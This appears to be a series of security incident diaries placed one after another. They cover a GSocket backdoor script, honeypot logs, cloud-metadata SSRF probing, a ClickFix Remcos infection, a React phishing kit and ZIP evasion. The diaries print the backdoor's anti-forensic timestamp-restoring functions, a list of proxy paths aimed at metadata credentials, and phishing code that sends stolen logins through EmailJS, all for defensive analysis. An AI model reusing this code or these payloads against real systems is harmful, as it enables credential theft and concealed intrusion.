Yesterday, I discovered a malicious Bash script that installs a GSocket backdoor on the victim’s computer. I don’t know the source of the script not how it is delivered to the victim.

GSocket[1] is a networking tool, but also a relay infrastructure, that enables direct, peer-to-peer–style communication between systems using a shared secret instead of IP addresses or open ports. It works by having both sides connect outbound to a global relay network. Tools like gs-netcat can provide remote shells, file transfer, or tunneling and bypass classic security controls. The script that I found uses a copy of gs-netcat but the way it implements persistence and anti-forensic techniques deserves a review.

A few weeks ago, I found a sample that used GSocket connectivity as a C2 channel. It makes me curious and I started to hunt for more samples. Bingo! The new one that I found (SHA256:6ce69f0a0db6c5e1479d2b05fb361846957f5ad8170f5e43c7d66928a43f3286[2]) has been detected by only 17 antivirus solutions on VT. The script is not obfuscated and even has comments so I think that it was uploaded on VT for "testing" purposes by the developper (just a guess)

Let’s have a look at the techniques used. When you execute it in a sandbox, you see this:

Note the identification of the tool ("G-Socket Bypass Stealth") and the reference to "@bboscat"[3]

A GSocket client is downloaded, started and is talking to the following IP:

The malware implements persistence through different well-known techniques on Linux. First, a cron job is created:

Every top-hour, the disguised gs-netcat will be killed (if running) and restarted. To improve persistence, the same code is added to the victim's .profile:

The malware itself is copied in .ssh/putty and the GSocket shared secret stored in a fake SSH key file:

The ELF file id_rsa (SHA256: d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa) is the gs-netcat tool downloaded directly from the G-Socket CDN.

Ok, let’s have a look at an interesting anti-forensic technique implemented in the Bash script. File operations are not simply performed using classic commands like cp, rm, mv, etc. They are embedded in “helper” functions with a timestamp tracking/restoration system so the malware can later hide filesystem changes. Here is an example with a function that will create a file:

mk_file()
{
  local fn
  local oldest
  local pdir
  local pdir_added
  fn="$1"
  local exists

  # DEBUGF "${CC}MK_FILE($fn)${CN}"
  pdir="$(dirname "$fn")"
  [[ -e "$fn" ]] && exists=1

  ts_is_marked "$pdir" || {
    # HERE: Parent not tracked
    _ts_add "$pdir" "<NOT BY XMKDIR>"
    pdir_added=1
  }

  ts_is_marked "$fn" || {
    # HERE: Not yet tracked
    _ts_get_ts "$fn"
    # Do not add creation fails.
    touch "$fn" 2>/dev/null || {
      # HERE: Permission denied
      [[ -n "$pdir_added" ]] && {
        # Remove pdir if it was added above
        # Bash <5.0 does not support arr[-1]
        # Quote (") to silence shellcheck
        unset "_ts_ts_a[${#_ts_ts_a[@]}-1]"
        unset "_ts_fn_a[${#_ts_fn_a[@]}-1]"
        unset "_ts_mkdir_fn_a[${#_ts_mkdir_fn_a[@]}-1]"
      }
      return 69 # False
    }
    [[ -z $exists ]] && chmod 600 "$fn"
    _ts_ts_a+=("$_ts_ts")
    _ts_fn_a+=("$fn");
    _ts_mkdir_fn_a+=("<NOT BY XMKDIR>")
    return
  }

  touch "$fn" 2>/dev/null || return
  [[ -z $exists ]] && chmod 600 "$fn"
  true
}

Here are also two interesting function:

# Restore timestamp of files
ts_restore()
{
  local fn
  local n
  local ts

  [[ ${#_ts_fn_a[@]} -ne ${#_ts_ts_a[@]} ]] && { echo >&2 "Ooops"; return; }

  n=0
  while :; do
    [[ $n -eq "${#_ts_fn_a[@]}" ]] && break
    ts="${_ts_ts_a[$n]}"
    fn="${_ts_fn_a[$n]}"
    # DEBUGF "RESTORE-TS ${fn} ${ts}"
    ((n++))

    _ts_fix "$fn" "$ts"
  done
  unset _ts_fn_a
  unset _ts_ts_a

  n=0
  while :; do
    [[ $n -eq "${#_ts_systemd_ts_a[@]}" ]] && break
    ts="${_ts_systemd_ts_a[$n]}"
    fn="${_ts_systemd_fn_a[$n]}"
    # DEBUGF "RESTORE-LAST-TS ${fn} ${ts}"
    ((n++))

    _ts_fix "$fn" "$ts" "symlink"
  done
  unset _ts_systemd_fn_a
  unset _ts_systemd_ts_a
}

ts_is_marked()
{
  local fn
  local a
  fn="$1"

  for a in "${_ts_fn_a[@]}"; do
    [[ "$a" = "$fn" ]] && return 0 # True
  done

  return 1 # False
}

ts_is_marked() checks whether a file/directory is already registered for timestamp restoration, preventing duplicate tracking and ensuring the script’s anti-forensic timestamp manipulation works correctly. I asked ChatGPT to generate a graph that explains this technique:

Finally, because it’s fully based on Bash, the script will infect all UNIX flavors, MacOS included:

[[ -z "$OSTYPE" ]] && {
  local osname
  osname="$(uname -s)"
  if [[ "$osname" == *FreeBSD* ]]; then
    OSTYPE="FreeBSD"
  elif [[ "$osname" == *Darwin* ]]; then
    OSTYPE="darwin22.0"
  elif [[ "$osname" == *OpenBSD* ]]; then
    OSTYPE="openbsd7.3"
  elif [[ "$osname" == *Linux* ]]; then
    OSTYPE="linux-gnu"
  fi
}

[1] https://www.gsocket.io
[2] https://www.virustotal.com/gui/file/6ce69f0a0db6c5e1479d2b05fb361846957f5ad8170f5e43c7d66928a43f3286/telemetry
​​​​​​​[3] https://zone-xsec.com/archive/attacker/%40bboscat

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

This activity was found and reported by BACS student Adam Thorman as part of one of his assignments which I posted his final paper [1] last week. This activity appeared to only have occurred on the 19 Feb 2026 where at least 2 sensors detected on the same day by DShield sensor in the cowrie logs an echo command that included: "MAGIC_PAYLOAD_KILLER_HERE_OR_LEAVE_EMPTY_iranbot_was_here". My DShield sensor captured activity from source IP 64.89.161.198 between 30 Jan - 22 Feb 2026 that included portscans, a successful login via Telnet (TCP/23) and web access that included all the activity listed below captured by the DShield sensor (cowrie, webhoneypot & iptables logs).

Bot successfully logged in twice into the sensor on the 15 and 19 Feb 2026 via Telnet. The bot activity of interest was a shell script uploaded on the 19 Feb 2026 in an attempt to exploit IoTs and 64-bit Linux systems.

Using Adam [1] grep command, I found in my logs the same script uploaded to the DShield sensor:

ubuntu@vps-711a413c:~/downloads$ sudo cat f1c0e109640d154246d27ff05074365740e994f142ef9846634bec7b18e3b715

Script Content

Cowrie Log

Indicators

64.89.161.198
188.214.30.5
http[:]//188.214.30.5/r.sh
f1c0e109640d154246d27ff05074365740e994f142ef9846634bec7b18e3b715

If you detected the same type of activity, we also appreciate feedback and suggestions about what tool might be used to perform these scans. Please use our contact page to provide feedback. 

[1] https://isc.sans.edu/diary/32788
[2] https://www.virustotal.com/gui/file/f1c0e109640d154246d27ff05074365740e994f142ef9846634bec7b18e3b715/detection
[3] https://www.linkedin.com/in/adam-thorman/
[4] https://isc.sans.edu/ipinfo/64.89.161.198
[5] https://isc.sans.edu/weblogs/sourcedetails.html?date=2026-02-19&ip=64.89.161.198
[6] https://isc.sans.edu/ipinfo/188.214.30.5
[7] https://www.shodan.io/host/64.89.161.198
[8] https://www.virustotal.com/gui/ip-address/64.89.161.198/detection
[9] https://github.com/DShield-ISC/dshield
[10] https://github.com/bruneaug/DShield-SIEM/tree/main

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

A very popular target of attackers scanning our honeypots is "phpmyadmin". phpMyAdmin is a script first released in the late 90s, before many security concepts had been discovered. It's rich history of vulnerabilities made it a favorite target. Its alternative, "adminer", began appearing about a decade later (https://www.adminer.org). One of its main "selling" points was simplicity. Adminer is just a single PHP file. It requires no configuration. Copy it to your server, and you are ready to go. "adminer" has a much better security record and claims to prioritize security in its development.

So how does it deal with configurations for database connection parameters? The simple answer: It does not. Instead of using its own authentication or access control, Adminer simply asks the user to enter the SQL username and password they want to use to connect to the database. This is certainly not a terrible idea. Let the database deal with it! SQL databases have robust access controls, so there is no need to reinvent the wheel. Not having to store database credentials in a secrets file also removes several security headaches.

But... these credentials are, of course, still subject to brute-forcing. Adminer thought about that, and only allows 30 login attempts in 30 minutes. One may argue that this is "generous", but they thought about it. The main weakness likely represents users using weak passwords and relying on SQL authentication; there is no easy way to implement two-factor authentication. Adminer mitigates some of these issues with security plugins that implement OTP protection and other security features.

This likely explains why attackers are scanning for it, and they have been scanning quite aggressively lately:

The increase in the number of URLs scanned is noteworthy. In phpMyAdmin scans, attackers often attempt to find obfuscated URLs used to host phpMyAdmin, such as "/pma/". For Adminer, attackers are scanning for different versions of the file. The filename released by Adminer includes the version number and the language or database type. For example, "adminer-5.4.2-mysql-en.php" is the English version for MySQL. 

In short: Do not forget to read the security advice provided by Adminer, and you probably do not want to open Adminer to the internet.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Yesterday, in my diary about the scans for "/proxy/" URLs, I noted how attackers are using IPv4-mapped IPv6 addresses to possibly obfuscate their attack. These addresses are defined in RFC 4038. These addresses are one of the many transition mechanisms used to retain some backward compatibility as IPv6 is deployed. Many modern applications use IPv6-only networking code. IPv4-mapped IPv6 addresses can be used to represent IPv4 addresses in these cases. IPv4-mapped IPv6 addresses are not used on the network, but instead, translated to IPv4 before a packet is sent.

To map an IPv4 address into IPv6, the prefix "::ffff:/96" is used. This leaves the last 32 bits to represent the IPv4 address. For example, "10.5.2.1" turns into "::ffff:0a05:0201". Many applications display the last 4 bytes in decimal format to make it easier to read. For example, you will see "::ffff:10.5.2.1". 

If IPv4-mapped IPv6 addresses can be used depends on the particular application. Here are a few examples, but feel free to experiment yourself:

ping6 on macOS:

% ping6 ::ffff:0a05:0201
PING6(56=40+8+8 bytes) ::ffff:10.5.2.147 --> ::ffff:10.5.2.1
ping6: sendmsg: Invalid argument
ping6: wrote ::ffff:0a05:0201 16 chars, ret=-1

Note that ping6 displays the IPv4 address in decimal format but refuses to send any packets, since they would be IPv4 packets, not IPv6.

% ping ::ffff:0a05:0201
ping: cannot resolve ::ffff:0a05:0201: Unknown host

Regular IPv4 ping fails to recognize the format for an IP address, and instead interprets it as a hostname, which fails.

ping6 on Linux does not return an error. It just appears to "hang," and no packets are emitted. Running strace shows:

sendto(3, "\200\0\0\0{\263\0\4i:\271i\0\0\0\0(\200\6\0\0\0\0\0\20\21\22\23\24\25\26\27"..., 64, 0, {sa_family=AF_INET6, sin6_port=htons(58), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "::ffff:10.5.2.1", &sin6_addr), sin6_scope_id=0}, 28) = -1 ENETUNREACH (Network is unreachable)
recvmsg(3, {msg_namelen=28}, MSG_DONTWAIT|MSG_ERRQUEUE) = -1 EAGAIN (Resource temporarily unavailable)

It attempts to set up an IPv6 connection based on the "AF_INET6" argument in the inet_pton call, but this fails for the mapped IPv4 address.

ssh, on the other hand (on MacOS and Linux) works just fine:

$ ssh ::ffff:0a05:0201 -p 11460
The authenticity of host '[::ffff:10.5.2.1]:11460 ([::ffff:10.5.2.1]:11460)' can't be established.

The traffic is sent properly as IPv4 traffic.

curl is kind of interesting in that it uses the IPv4-mapped IPv6 address as a host header:

$ curl -i http://[::ffff:0a80:010b]
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Tue, 17 Mar 2026 11:32:10 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
Location: https://[::ffff:0a80:010b]/

I tried a couple of different web servers, and they all acted the same way. Browsers like Safari and Chrome could also use these addresses. In browsers, it may be possible to evade some filters by using IPv4-mapped IPv6 addresses when simple string matching is used. Note how in URLs the IPv6 address must be enclosed in square brackets to avoid "colon confusion". 

Any ideas what else to test or how to possibly use or abuse these addresses? Remember that on the network, you will end up with normal IPv4 traffic, not IPv6 traffic using IPv4-mapped IPv6 addresses. 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Attempts to find proxy servers are among the most common scans our honeypots detect. Most of the time, the attacker attempts to use a host header or include the hostname in the URL to trigger the proxy server forwarding the request. In some cases, common URL prefixes like "/proxy/" are used. This weekend, I noticed a slightly different pattern in our logs:

First Seen	Last Seen	Count	Path
2026-03-15	2026-03-16	2	/proxy/http:/[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/
2026-03-15	2026-03-16	2	/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/
2026-03-15	2026-03-16	2	/proxy/http:/169.254.169.254/latest/meta-data/iam/security-credentials/
2026-03-15	2026-03-16	2	/proxy/absolute/[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/
2026-03-15	2026-03-16	2	/proxy/absolute/[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/
2026-03-15	2026-03-16	2	/proxy/absolute/169.254.169.254/latest/meta-data/iam/security-credentials/
2026-03-15	2026-03-16	2	/proxy/[0:0:0:0:0:ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document
2026-03-15	2026-03-16	2	/proxy/[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/
2026-03-15	2026-03-16	2	/proxy/[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document
2026-03-15	2026-03-16	2	/proxy/[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/
2026-03-15	2026-03-16	2	/proxy/169.254.169.254/latest/dynamic/instance-identity/document
2026-03-16	2026-03-16	1	/proxy/2852039166/latest/meta-data/iam/security-credentials/

The intent of these requests is to reach the cloud metadata service, which is typically listening on 169.254.169.254, a non-routable link-local address. The "security-credentials" directory should list entities with access to the service, and can then lead to requests for key material used for authentication.

The attacker does not just use the IPv4 address, but attempts to bypasspass some filters by using the IPv4 mapped IPv6 address. The prefix ::ffff/96, followed by the IPv4 address, is used to express IPv4 addresses in IPv6. Note that these addresses are not intended to be routable, but just like 169.254.169.254 they may work on the host itself. In addition, the attacker is used the "less apprviated" form by specifying the first few bytes with 0:0:0:0. Finally, the long unsigned integer form of the IP address is used.

The meta data service is often exploited using SSRF vulenrabilities. However, the more modern "version 2" of the meta data service is attempting to prevent simple SSRF attacks by requiring two requests with different methods and specific custom headers. SSRF vulnerabilities are just like a less functional open proxy. In this case, the attacker assumes a full proxy, and an attack may not be prevented by the more modern meta data service implementation.

Modern web applications use proxies in many different forms. For example you may have API gateways, load balancers, web application firewalls or even still some proxies to bypass CORS constraints. Any of these cases is potentially vulenrable if badly configured. The above list of URLs may make a good starting point to test the implementation of your proxy.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Introduction

This diary describes a Remcos RAT infection that I generated in my lab on Thursday, 2026-03-11. This infection was from the SmartApeSG campaign that used a ClickFix-style fake CAPTCHA page.

My previous in-depth diary about a SmartApeSG (ZPHP, HANEYMANEY) was in November 2025, when I saw NetSupport Manager RAT. Since then, I've fairly consistently seen what appears to be Remcos RAT from this campaign.

Finding SmartApeSG Activity

As previously noted, I find SmartApeSG indicators from the Monitor SG account on Mastodon, and I use URLscan to pivot on those indicators to find compromised websites with injected SmartApeSG script.

Details

Below is an image of HTML in a page from a legitimate but compromised website that shows the injected SmartApeSG script.

Shown above: Page from a legitimate but compromised site that highlights the injected SmartApeSG script.

The injected SmartApeSG script generates a fake CAPTCHA-style "verify you are human" page, which displays ClickFix-style instructions after checking a box on the page. A screenshot from this infection is shown below, and it notes the ClickFix-style script injected into the user's clipboard. Users are instructed to open a run window, paste the script into it, and hit the Enter key.

Shown above: Fake CAPTCHA page generated by a legitimate but compromised site, showing the ClickFix-style command.

I used Fiddler to reveal URLS from the HTTPS traffic, and I recorded the traffic and viewed it in Wireshark. Traffic from the infection chain is shown in the image below.

Shown above: Traffic from the infection in Fiddler and Wireshark.

After running the ClickFix-style instructions, the malware was sent as a ZIP archive and saved to disk with a .pdf file extension. This appears to be Remcos RAT in a malicious package that uses DLL side-loading to run the malware. This infection was made persistent with an update to the Windows Registry.

Shown above: Malware from the infection persistent on an infected Windows host.

Indicators of Compromise

Injected SmartApeSG script injected into page from legitimate but compromised site:

• hxxps[:]//cpajoliette[.]com/d.js

Traffic to domain hosting the fake CAPTCHA page:

• hxxps[:]//retrypoti[.]top/endpoint/signin-cache.js
• hxxps[:]//retrypoti[.]top/endpoint/login-asset.php?Iah0QU0N
• hxxps[:]//retrypoti[.]top/endpoint/handler-css.js?00109a4cb788daa811

Traffic generated by running the ClickFix-style script:

• hxxp[:]//forcebiturg[.]com/boot  <-- 302 redirect to HTTPS URL
• hxxps[:]//forcebiturg[.]com/boot  <-- returned HTA file
• hxxp[:]//forcebiturg[.]com/proc  <-- 302 redirect to HTTPS URL
• hxxps[:]//forcebiturg[.]com/proc  <-- returned ZIP archive archive with files for Remcos RAT

Post-infection traffic for Remcos RAT:

• 193.178.170[.]155:443 - TLSv1.3 traffic using self-signed certificate

Example of ZIP archive for Remcos RAT:

• SHA256 hash: b170ffc8612618c822eb03030a8a62d4be8d6a77a11e4e41bb075393ca504ab7
• File size: 92,273,195 bytes
• File type: Zip archive data, at least v2.0 to extract, compression method=deflate
• Example of saved file location: C:\Users\[username]\AppData\Local\Temp\594653818\594653818.pdf

Of note, the files, URLs and domains for SmartApeSG activity change on a near-daily basis, and the indicators described in this article are likely no longer current. However, the overall patterns of activity for SmartApeSG have remained fairly consistent over the past several months.

---
Bradley Duncan
brad [at] malware-traffic-analysis.net

On Wednesday, a phishing message made its way into our handler inbox that contained a fairly typical low-quality lure, but turned out to be quite interesting in the end nonetheless. That is because the accompanying credential stealing web page was dynamically constructed using React and used a legitimate e-mail service for credential collection.

But before we get to the details, let’s take a quick look at the initial message. The e-mail pretended to be a notification about a list of files shared with us through the legitimate WeTransfer service.

I mentioned that the lure used in the message was of low-quality because, as you can see in the following image, the files in question were supposedly sent by someone using our own e-mail address… Which would probably be at least a little suspicious to any recipient.

The body of the message included a list of files that were supposedly part of the transfer – in total the message claimed that 76 items with a combined size of 1010 MB were shared with us (or with the intended victim, to be more general).

Messages of this type are quite ubiquitous and the only reason why I decided to spend any time on this one was the link it contained. It pointed to the following URL:

hxxps[:]//crimson-pine-6e12[.]gstmfhxzvbxk[.]workers[.]dev/?%D0%BF%D1%80%D0%BE86%D0%B3%D1%80%D0%[email protected]()Dropbox%20Community

Embedding the recipient’s e-mail address in the query string is something we see fairly frequently in phishing campaigns, but the ending of the parameter string with “()Dropbox Community” caught my attention.

Another small detail that somewhat stood out was the encoded portion at the beginning of the query parameter, which used percent-encoded UTF-8 byte sequences that did not correspond to standard ASCII characters.

%D0%BF%D1%80%D0%BE86%D0%B3%D1%80%D0%B0

When decoded, the first characters correspond to Cyrillic letters, specifically:

This appears to be a truncated fragment of the Russian word for a program:

The reason for including this fragment is unclear, but it provides an indicator of the language the authors of the phishing might have spoken (since one wouldn’t expect any false-flag attempts in a generic phishing campaign such as this one).

As you may have noted, the link used in the message pointed to a Cloudflare Workers domain (workers.dev), which, apart from its legitimate use, has become a convenient hosting platform for short-lived malicious infrastructure in recent years[1,2].

The link led to a fake Dropbox Transfer page showing what appeared to be a file download portal with a list of documents displayed over a looping video.

Selecting any of the download options resulted in a login prompt requesting the user’s e-mail address and password before access to the files would (supposedly) be granted.

While the user interface itself was fairly typical for a phishing page, its structure was somewhat more interesting.

Inspecting the page source revealed that the HTML document was almost empty and consisted mainly of a single placeholder element together with a reference to a JavaScript bundle main.90eaa1b0.js (the additional hidden elements were unrelated to the visible interface and were likely artifacts of the phishing kit or simple attempts to evade automated scanning).

<!doctype html>
<html lang="en">
<head>
...
<title>Dropbx - Collaboration Document</title>
<script defer="defer" src="/static/js/main.90eaa1b0.js">
</script>
<link href="/static/css/main.3a3f297d.css" rel="stylesheet">
</head>
<body>
<noscript>You need to enable JavaScript to run this app.</noscript>
<div class="hello_world">
</div>
<div id="root">
</div>
<div class="laravel_php">
<p style="display:none!important">hello_world</p>
</div>
<div class="os_webkit_moz_ms_fox">
<h1 style="display:none!important">Introduction</h1>
</div>
<div class="kungfu_panda_">
<p style="display:none!important">hello_world</p>
</div>
</body>
</html>

This indicated that the page was implemented as a single-page web application, where the interface was supposed to be rendered dynamically in the browser. This approach is much less common in phishing kits than static HTML pages and can somewhat complicate analysis if an analyst relies only on a landing page source code.

Opening the referenced JavaScript bundle confirmed the hypothesis and showed that the page was built using React[3], since it contained the React runtime together with the application code. Typical runtime identifiers appeared throughout the file, as you can see in the following image.

The entire phishing interface was therefore rendered dynamically once the JavaScript bundle executed and attached itself to the root HTML element.

The most interesting portion of the code appeared in the logic responsible for submitting the login form. The bundle contained a call to the EmailJS service[4], which allows web applications to send e-mails via its API directly from client-side JavaScript.

The three following code fragments show the relevant functionality:

1. Code responsible for sending a POST request to the EmailJS API

   const D={origin:"https://api.emailjs.com", ...}
   
   H=async function(e,t){
     ...
     const r=await fetch(D.origin+e,{method:"POST",headers:n,body:t}),
     ...
   }

    

2. Definition of a routine that builds the POST request body

   X=async(e,t,n,r)=>{
     const l=F(r),
           a=l.publicKey||D.publicKey,
           ...
     ...
     f.append("lib_version","4.4.1"),
     f.append("service_id",e),
     f.append("template_id",t),
     f.append("user_id",a),
     H("/api/v1.0/email/send-form",f)
   }

    

3. Code that supplies parameters for the POST request (strings inside this excerpt are EmailJS inputs – “service_t8yu1k1” is a service ID, “template_vszijae” is a template ID and the constant “e” contains a public API key)

   const e="Z2Y07-t9AET4hviRq";
   if(
     X("service_t8yu1k1","template_vszijae",r.current,{publicKey:e}).then((()=>{console.log("a")}),(e=>{console.log("e")})),
     ...
   )

    

Using this code, any credentials entered by a victim would be collected and transmitted through the EmailJS API.

It should further be mentioned that the JS code also queried the Geoapify IP information API[5] to gather geographic metadata about the victim, which was then intended to be sent to the attackers along with the harvested credentials.

After the form submission the page would redirect the victim to the legitimate website (Dropbox), as is usual in similar circumstances.

Although the entire campaign is basically just a run-of-the-mill credential harvesting operation, from a technical standpoint, the phishing kit used is quite interesting. Both because the implementation through a React application bundled into a single JavaScript file can potentially be effective in evading simple security filters on web proxies that rely only on static HTML analysis, but also due to use of a legitimate third-party service for credential exfiltration instead of an attacker-controlled infrastructure.

IoCs
Phishing domain:
crimson-pine-6e12.gstmfhxzvbxk.workers.dev
EmailJS identifiers:
service_t8yu1k1
template_vszijae

[1] https://developers.cloudflare.com/workers/
[2] https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing
[3] https://react.dev/
[4] https://www.emailjs.com/docs/
[5] https://www.geoapify.com/ip-geolocation-api/

-----------
Jan Kopriva
LinkedIn
Nettles Consulting

[This is a Guest Diary by Adam Thorman, an ISC intern as part of the SANS.edu BACS program]

Introduction

Have you ever installed a new device on your home or company router? Even when setup instructions are straightforward, end users often skip the step that matters most: changing default credentials. The excitement of deploying a new device frequently outweighs the discipline of securing it.
This diary explains a little real-world short story and then walks through my own internship observations overseeing a honeypot and vulnerability assessment that demonstrate just how quickly default credentials are discovered and abused.

Default Credentials in a Real-World Example

Default usernames and passwords remain the most exploited attack vector for Internet of Things (IoT) devices. Whether installation is performed by an end user or a contracted vendor, organizations must have a defined process to ensure credentials are changed immediately. Without that process, compromise is often a matter of when, not if.
During a routine vulnerability assessment at work, I identified multiple IP addresses that were accessible using default credentials. These IPs belonged to a newly installed security system monitoring sensitive material. The situation was worse than expected:

• The system was not placed on the proper VLAN
• Basic end user machines could reach it
• The username “root” remained unchanged and password “password” was changed to “admin”

This configuration was still trivial to guess and exploit, regardless of whether access was internal or external. From my point of view, it was easily guessed and accessed, like Figure 1 below. 

Figure 1 - Meme of Easily Bypassed Security Controls

What Logs Showed?

To better understand how common this issue is, I analyzed SSH and Telnet traffic across an eight-day period (January 18–25) and compared it with more recent data. This ties into the story above based on how many devices are kept with their default settings or slightly changed with common trivial combinations. These graphs were pulled from the Internet Storm Center (ISC) My SSH Reports page [2], while the comparison was generated with ChatGPT tool.

JANUARY 27TH, 2026

FEBRUARY 17TH, 2026

COMPARISON

Across both datasets:

• The username “root” remained dominant at ~39%
• The password “123456” increased from 15% to 27%
• These combinations strongly resembled automated botnet scanning behavior

This aligns with publicly known credential lists that attackers use for large scale reconnaissance.

Successful Connections

During the analysis window, I observed:

• 44,269 failed connection attempts
• 1,286 successful logins
• A success rate of only 2.9%

That percentage may appear low, but it still resulted in over a thousand compromised sessions.
To perform this analysis, I parsed Cowrie JSON logs using jq, converted them to CSV files, and consolidated them into a single spreadsheet.

From the 1,286 successful connections:

• 621 used the username root
• 154 used admin as the password
• 406 shared the same HASSH fingerprint 2ec37a7cc8daf20b10e1ad6221061ca5
• 47 sessions matched all three indicators

The matched session to that hash is shown in APPENDIX A.

What Attackers did After Logging in?

Four session IDs stood out during review of the full report:
1. eee64da853a9
2. f62aa78aca0b
3. 308d24ec1d36
4. f0bc9f078bdd

Sessions 1 and 4 focused on reconnaissance, executing commands to gather system details such as CPU, uptime, architecture, and GPU information.

With the use of ChatGPT [3], I was able to compare each session and the commands the attacker attempted to use.  It was disclosed that Sessions 1 and 4 had reconnaissance from the topmost digital fingerprint HASSH.  They both had the same command but with different timestamps. Refer to APPENDIX B for Session ID 1 and 2 command outputs.

Sessions 2 and 3 demonstrated more advanced behavior:

• SSH key persistence
• Credential manipulation
• Attempts to modify account passwords

Session 308d24ec1d36 ranked as the most severe due to attempted password changes and persistence mechanisms that could have resulted in long term control if it was attempted on a real-world medium. Refer to APPENDIX C for Session ID 2 and 3 command outputs.

Failed Attempts Tell a Bigger Story

Failed authentication attempts revealed even more.

One digital fingerprint alone accounted for 18,846 failed attempts, strongly suggesting botnet driven scanning activity.

On January 19, 2026, there were 14,057 failed attempts in a single day — a significant spike compared to surrounding dates.

From a Security Operations Center (SOC) analyst’s perspective, this level of activity represents a serious exposure risk.  It could mean a botnet scanning campaign like the one observed by GreyNoise in late August 2025 [4]. 

Below is a visual of the top usernames, passwords, and hashes across the analyzed timeframe.

Figure 2 - Top Usernames, Passwords, and Digital Fingerprints

To note in comparison to the other days, where it’s not even half of 14k, Figure 3 below dictates the spread. 

Figure 3 – Failed Connection Attempts Over Time

Best Practices to Follow Towards Resolving Default Credentials

The SANS Cybersecurity Policy Template for Password Construction Standard states that it “applies to all passwords including but not limited to user-level accounts, system-level accounts, web accounts, e-mail accounts, screen saver protection, voicemail, and local router logins.” More specially, the document also states that “strong passwords that are long, the more characters a password has the stronger it is,” and they “recommend a minimum of 16 characters in all work-related passwords [6].”

Establish an immediate policy to change the default password of IoT devices, such an example is a network printer that is shipped with default usernames and passwords [7].

Practical Experience Without the Real-World Disaster

Having access to a controlled sandbox environment, such as a honeypot lab, provides valuable hands-on experience for cybersecurity practitioners.
Sometimes you may need to deal with and see the real-world disaster in a controlled environment to deal with it and see the ripple effect it may produce. 

Why Might this Apply to you?

MITRE ATT&CK explicitly documents adversary use of manufacturers set default credentials on control systems. They stress that it must be changed as soon as possible.
This isn’t just an enterprise issue. The same risks apply to:

• Home routers
• Networked cameras
• Printers
• NAS devices

For hiring managers, even job postings that disclose specific infrastructure details can unintentionally assist attackers searching for default credentials.
Ultimately, it’s important to deliberately implement data security measures to protect yourself from data breaches at your home or workplace. 

Who Can Gain Valuable Insight on this Information?

Anyone with an internet or digital fingerprint. More specifically, organization leadership and management, when it comes to training your workforce and training your replacements.
A client-tech department, where a team is dedicated to testing the software or devices on the network, to include validating the version of it through a patching management tool, or reference library to know when versions are outdated. Routine “unauthorized” or “prohibited” software reports is an absolute must have in your workplace.
System administrators and SOC analysts are essential to not just know it, but to maintain it. To continue the trend, Cybersecurity students or Professionals such as Red vs. Blue teams [5] for example will gain significant value in this information.

Moving Forward Even with Good Defense

Defense in depth remains critical:

• Strong, unique credentials
• Multi factor authentication where possible [7]
• Device fingerprinting
• Continuous monitoring

SANS also encourage to utilize passphrases, passwords made up of multiple words. [6]

A common saying in Cybersecurity is, “the more secure the data is, the less convenient the data is—the less secure, the more convenient.” 
Organizations should also maintain a Business Impact Analysis (BIA) within their cybersecurity program. Even with strong defensive measures, organizations must assume that some security controls may eventually fail. A Business Impact Analysis (BIA) helps organizations prioritize which assets require the strongest protection by identifying critical, operational dependencies, and acceptable downtime thresholds.

Tying it all together.  This recommendation to combined with a defense-in-depth strategy, the BIA ensures that the most important systems receive multiple layers of protection such as network segmentation, strong authentication controls, continuous monitoring, and incident response planning. Without this structured approach, organizations may struggle to recover from a compromise or minimize operational disruption.

Figure 4 - Examples of Enterprise Business Asset Types [9]

Appendix A - Log Sample

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/ 
[2] https://isc.sans.edu/mysshreports/
[3] https://chatgpt.com/
[4] https://eclypsium.com/blog/cisco-asa-scanning-surge-cyberattack/
[5] https://www.techtarget.com/searchsecurity/tip/Red-team-vs-blue-team-vs-purple-team-Whats-the-difference
[6] https://www.sans.org/information-security-policy/password-construction-standard
[7] https://owasp.org/www-project-top-10-infrastructure-security-risks/docs/2024/ISR07_2024-Insecure_Authentication_Methods_and_Default_Credentials
[8] https://attack.mitre.org/techniques/T0812/
[9] https://csrc.nist.gov/pubs/ir/8286/d/upd1/final (PDF: Using Business Impact Analysis to Inform Risk Prioritization)

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

A new vulnerability (CVE-2026-0866) has been published: Zombie Zip.

It's a method to create a malformed ZIP file that will bypass detection by most anti-virus engines.

The malformed ZIP file can not be opened with a ZIP utility, a custom loader is required.

The trick is to change the compression method to STORED while the contend is still DEFLATED: a flag in the ZIP file header states the content is not compressed, while in reality, the content is compressed.

I will show you how to use my tools to analyze such a malformed ZIP file.

Simple Method

Just run my tool search-for-compression.py on the ZIP file (you can download the Zombie ZIP file here, it contains an EICAR file):

The largest compression blob is number 2, it is 77 bytes long. Let's select it:

That's the EICAR file.

Complex Method

We can use the latest version of zipdump.py to analyze the file:

Just using the tool fails (because the zip file is malformed):

Using option -f to bypass the Python ZIP library for parsing, and using custom code to look for ZIP records (-f l) shows us this is a ZIP file, containing a file with the name eicar.com:

Selecting the FILE record (at position 0x00000000, PK0304 fil) shows us all the meta data:

The compressiontype is 0 (STORED), this means that the content of the file is just stored inside the ZIP file, not compressed.

But notice that the compressedsize and uncompressedsize are different (70 and 68). It should be the same for a STORED file.

Let's select the raw file content (-s data) and perform an asciidump (-a):

This does not look like the EICAR file.

